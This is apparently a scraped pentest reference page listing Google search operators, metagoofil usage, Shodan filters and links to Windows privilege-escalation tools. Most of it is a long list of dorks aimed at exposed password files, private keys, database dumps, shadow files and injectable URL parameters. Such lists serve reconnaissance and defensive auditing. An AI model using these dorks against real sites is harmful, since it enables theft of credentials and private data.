    intitle:

    which finds strings in the title of a page

    intitle:”Your Text”

    allintext:

    which finds all terms in the title of a page

    allintext:”Contact”

    inurl:

    which finds strings in the URL of a page

    inurl:”news.php?id=”

    site:

    which restricts a search to a particular site or domain

    site:yeahhub.com “Keyword”

    Google Hacking Database
    Dorksearch
    Bug Bounty Helper
    https://habr.com/ru/companies/postuf/articles/510766/
    pagodo
    Grawler
    DorkScout
    oxDork

    filetype:

    Logo
    Logo
    # install
    git clone https://github.com/opsdisk/metagoofil
    cd metagoofil
    pip install -r requirements.txt
    ​
    # usage
    python3 metagoofil.py -d domain.com -t doc -l 50 -n 50 -o /tmp/result -f /tmp/result/result.html -u
    intitle:" index of "/Invoices*"
    intitle:"index of" ".env"
    intitle:"index of" "/configs"
    intitle:"index of" "*.php"
    intitle:"index of" "*.py"
    intitle:"index of" "*.sh"
    intitle:"index of" "schema.sql"
    inurl: database
    ​
    inurl:php?=id1
    inurl:index.php?id=
    inurl:trainers.php?id=
    inurl:buy.php?category=
    inurl:article.php?ID=
    inurl:play_old.php?id=
    inurl:declaration_more.php?decl_id=
    inurl:pageid=
    inurl:games.php?id=
    inurl:page.php?file=
    inurl:newsDetail.php?id=
    inurl:gallery.php?id=
    inurl:article.php?id=
    inurl:show.php?id=
    inurl:staff_id=
    inurl:newsitem.php?num= andinurl:index.php?id=
    inurl:trainers.php?id=
    inurl:buy.php?category=
    inurl:article.php?ID=
    inurl:play_old.php?id=
    inurl:declaration_more.php?decl_id=
    inurl:pageid=
    inurl:games.php?id=
    inurl:page.php?file=
    inurl:newsDetail.php?id=
    inurl:gallery.php?id=
    inurl:article.php?id=
    inurl:show.php?id=
    inurl:staff_id=
    inurl:newsitem.php?num=
    inurl:admin filetype:xls
    intitle:"index of" "/mysql"
    site:.edu intext:"index of" "payroll"
    inurl:edu “login”
    ​
    intext:”budget approved”) inurl:confidential
    ext:inc "pwd=" "UID="
    ext:ini intext:env.ini
    ext:ini Version=... password
    ext:ini Version=4.0.0.4 password
    ext:ini eudora.ini
    ext:ini intext:env.ini
    ext:log "Software: Microsoft Internet Information Services *.*"
    ext:log "Software: Microsoft Internet Information
    ext:log "Software: Microsoft Internet Information Services *.*"
    ext:log "Software: Microsoft Internet Information Services *.*"
    ext:mdb   inurl:*.mdb inurl:fpdb shop.mdb
    ext:mdb inurl:*.mdb inurl:fpdb shop.mdb
    ext:mdb inurl:*.mdb inurl:fpdb shop.mdb
    filetype:SWF SWF
    filetype:TXT TXT
    filetype:XLS XLS
    filetype:asp   DBQ=" * Server.MapPath("*.mdb")
    filetype:asp "Custom Error Message" Category Source
    filetype:asp + "[ODBC SQL"
    filetype:asp DBQ=" * Server.MapPath("*.mdb")
    filetype:asp DBQ=" * Server.MapPath("*.mdb") 
    filetype:asp “Custom Error Message” Category Source
    filetype:bak createobject sa
    filetype:bak inurl:"htaccess|passwd|shadow|htusers"
    filetype:bak inurl:"htaccess|passwd|shadow|htusers" 
    filetype:conf inurl:firewall -intitle:cvs 
    filetype:conf inurl:proftpd. PROFTP FTP server configuration file reveals
    filetype:dat "password.dat
    filetype:dat "password.dat" 
    filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"
    filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To" 
    filetype:eml eml +intext:”Subject” +intext:”From” +intext:”To”
    filetype:inc dbconn 
    filetype:inc intext:mysql_connect
    filetype:inc mysql_connect OR mysql_pconnect 
    filetype:log inurl:"password.log"
    filetype:log username putty PUTTY SSH client logs can reveal usernames
    filetype:log “PHP Parse error” | “PHP Warning” | “PHP Error”
    filetype:mdb inurl:users.mdb
    filetype:ora ora
    filetype:ora tnsnames
    filetype:pass pass intext:userid
    filetype:pdf "Assessment Report" nessus
    filetype:pem intext:private
    filetype:properties inurl:db intext:password
    filetype:pst inurl:"outlook.pst"
    filetype:pst pst -from -to -date
    filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"
    filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword" 
    filetype:reg reg +intext:â? WINVNC3â?
    filetype:reg reg +intext:”defaultusername” +intext:”defaultpassword”
    filetype:reg reg HKEY_ Windows Registry exports can reveal
    filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS
    filetype:sql "insert into" (pass|passwd|password)
    filetype:sql ("values * MD5" | "values * password" | "values * encrypt")
    filetype:sql ("passwd values" | "password values" | "pass values" ) 
    filetype:sql ("values * MD" | "values * password" | "values * encrypt") 
    filetype:sql +"IDENTIFIED BY" -cvs
    filetype:sql password
    filetype:sql password 
    filetype:sql “insert into” (pass|passwd|password)
    filetype:url +inurl:"ftp://" +inurl:";@"
    filetype:url +inurl:"ftp://" +inurl:";@" 
    filetype:url +inurl:”ftp://” +inurl:”;@”
    filetype:xls inurl:"email.xls"
    filetype:xls username password email
    index of: intext:Gallery in Configuration mode
    index.of passlist
    index.of perform.ini mIRC IRC ini file can list IRC usernames and
    index.of.dcim 
    index.of.password 
    intext:" -FrontPage-" ext:pwd inurl:(service | authors | administrators | users)
    intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
    intext:"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd
    intext:"#mysql dump" filetype:sql
    intext:"#mysql dump" filetype:sql 21232f297a57a5a743894a0e4a801fc3
    intext:"A syntax error has occurred" filetype:ihtml
    intext:"ASP.NET_SessionId" "data source="
    intext:"About Mac OS Personal Web Sharing"
    intext:"An illegal character has been found in the statement" -"previous message"
    intext:"AutoCreate=TRUE password=*"
    intext:"Can't connect to local" intitle:warning
    intext:"Certificate Practice Statement" filetype:PDF | DOC
    intext:"Certificate Practice Statement" inurl:(PDF | DOC)
    intext:"Copyright (c) Tektronix, Inc." "printer status"
    intext:"Copyright © Tektronix, Inc." "printer status"
    intext:"Emergisoft web applications are a part of our"
    intext:"Error Diagnostic Information" intitle:"Error Occurred While"
    intext:"Error Message : Error loading required libraries."
    intext:"Establishing a secure Integrated Lights Out session with" OR intitle:"Data Frame - Browser not HTTP 1.1 compatible" OR intitle:"HP Integrated Lights-
    intext:"Fatal error: Call to undefined function" -reply -the -next
    intext:"Fill out the form below completely to change your password and user name. If new username is left blank, your old one will be assumed." -edu
    intext:"Generated   by phpSystem"
    intext:"Generated by phpSystem"
    intext:"Host Vulnerability Summary Report"
    intext:"HostingAccelerator" intitle:"login" +"Username" -"news" -demo
    intext:"IMail Server Web Messaging" intitle:login
    intext:"Incorrect syntax near"
    intext:"Index of" /"chat/logs"
    intext:"Index of /network" "last modified"
    intext:"Index of /" +.htaccess
    intext:"Index of /" +passwd
    intext:"Index of /" +password.txt
    intext:"Index of /admin"
    intext:"Index of /backup"
    intext:"Index of /mail"
    intext:"Index of /password"
    intext:"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log
    intext:"Microsoft CRM : Unsupported Browser Version"
    intext:"Microsoft ® Windows * ™ Version * DrWtsn32 Copyright ©" ext:log
    intext:"Network Host Assessment Report" "Internet Scanner"
    intext:"Network Vulnerability   Assessment Report"
    intext:"Network Vulnerability Assessment Report"
    intext:"Network Vulnerability Assessment Report" 本文来自 pc007.com
    intext:"SQL Server Driver][SQL Server]Line 1: Incorrect syntax near"
    intext:"Thank you for your order"   +receipt
    intext:"Thank you for your order" +receipt
    intext:"Thank you for your purchase" +download
    intext:"The following report contains confidential information" vulnerability -search
    intext:"phpMyAdmin MySQL-Dump" "INSERT INTO" -"the"
    intext:"phpMyAdmin MySQL-Dump" filetype:txt
    intext:"phpMyAdmin" "running on" inurl:"main.php"
    intextpassword | passcode)   intextusername | userid | user) filetype:csv
    intextpassword | passcode) intextusername | userid | user) filetype:csv
    intitle:"index of" +myd size
    intitle:"index of" etc/shadow
    intitle:"index of" htpasswd
    intitle:"index of" intext:connect.inc
    intitle:"index of" intext:globals.inc
    intitle:"index of" master.passwd
    intitle:"index of" master.passwd 007电脑资讯
    intitle:"index of" members OR accounts
    intitle:"index of" mysql.conf OR mysql_config
    intitle:"index of" passwd
    intitle:"index of" people.lst
    intitle:"index of" pwd.db
    intitle:"index of" spwd
    intitle:"index of" user_carts OR user_cart
    intitle:"index.of *" admin news.asp configview.asp
    intitle:("TrackerCam Live Video")|("TrackerCam Application Login")|("Trackercam Remote") -trackercam.com
    intitle:(“TrackerCam Live Video”)|(“TrackerCam Application Login”)|(“Trackercam Remote”) -trackercam.com
    inurl:admin inurl:userlist Generic userlist files
    org:microsoft 
    org:"United States Department"
    device:firewall 
    device:router 
    device:wap 
    device:webcam 
    device:media 
    device:"broadband router" 
    device:pbx 
    device:printer 
    device:switch 
    device:storage 
    device:specialized 
    device:phone 
    device:"voip" 
    device:"voip phone" 
    device:"voip adaptor" 
    device:"load balancer" 
    device:"print server" 
    device:terminal 
    device:remote 
    device:telecom 
    device:power 
    device:proxy 
    device:pda 
    device:bridge
    os:"windows 7" 
    os:"windows server 2012"
    os:"linux 3.x"
    product:apache 
    product:nginx 
    product:android 
    product:chromecast
    cpe:apple 
    cpe:microsoft 
    cpe:nginx 
    cpe:cisco
    server: nginx 
    server: apache 
    server: microsoft 
    server: cisco-ios
    Logo
    www.example.com
    OWASP Secure Headers Project | OWASP Foundationowasp.org
    SSL Server Test (Powered by Qualys SSL Labs)www.ssllabs.com
    SSL Scan
    GitHub - JFR-C/Windows-Penetration-Testing: Technical notes, AD pentest methodology, list of tools, scripts and Windows commands that are useful for internal penetration tests and assumed breach exercises (red teaming).GitHub
    Great One
    Internal Pentest | Pentest Bookpentestbook.six2dez.com
    https://github.com/cube0x0/CVE-2021-36934github.com
    GitHub - danigargu/CVE-2020-0796: CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhostGitHub
    WADComswadcoms.github.io
    Check this
    GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.GitHub
    GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"GitHub
    Abusing Token Privileges For Windows Local Privilege Escalationfoxglovesec
    Logo
    GitHub - TsukiCTF/Lovely-Potato: Automating juicy potato local privilege escalation exploit for penetration testersGitHub
    Logo
    Logo
    GitHub - antonioCoco/RoguePotato: Another Windows Local Privilege Escalation from Service Account to SystemGitHub
    GitHub - techgaun/github-dorks: Find leaked secrets via github searchGitHub
    Logo
    Keeping a Grip on GoogleID’s@sector035
    Logo
    Logo
    Logo
    Logo
    GraphQL Voyagerivangoncharov.github.io
    Copy the output and put it into this
    OffSec’s Exploit Database Archivewww.exploit-db.com
    Logo
    Logo
    Logo
    GitHub - jakejarvis/awesome-shodan-queries: 🔍 A collection of interesting, funny, and depressing search queries to plug into shodan.io 👩‍💻GitHub
    Google Dorks List and Updated Database in 2025 - Box Piperboxpiperapp
    Logo
    GitHub - igorbrigadir/twitter-advanced-search: Advanced Search for Twitter.GitHub
    Logo
    Logo
    Google Dorks: How to find interesting data and search like hackerMA-NO Web Design and Development
    Logo
    Logo
    GitHub - testssl/testssl.sh: Testing TLS/SSL encryption anywhere on any portGitHub
    testssl.sh
    Logo
    Logo
    Logo
    Logo
    GitHub - opsdisk/metagoofil: Search Google and download specific file typesGitHub
    Logo
    GitHub - Escape-Technologies/graphinder: 🕸️ Blazing fast GraphQL endpoints finder using subdomain enumeration, scripts analysis and bruteforce. 🕸️GitHub
    Logo
    Bug Bounty Helperdorks.faisalahmed.me
    Logo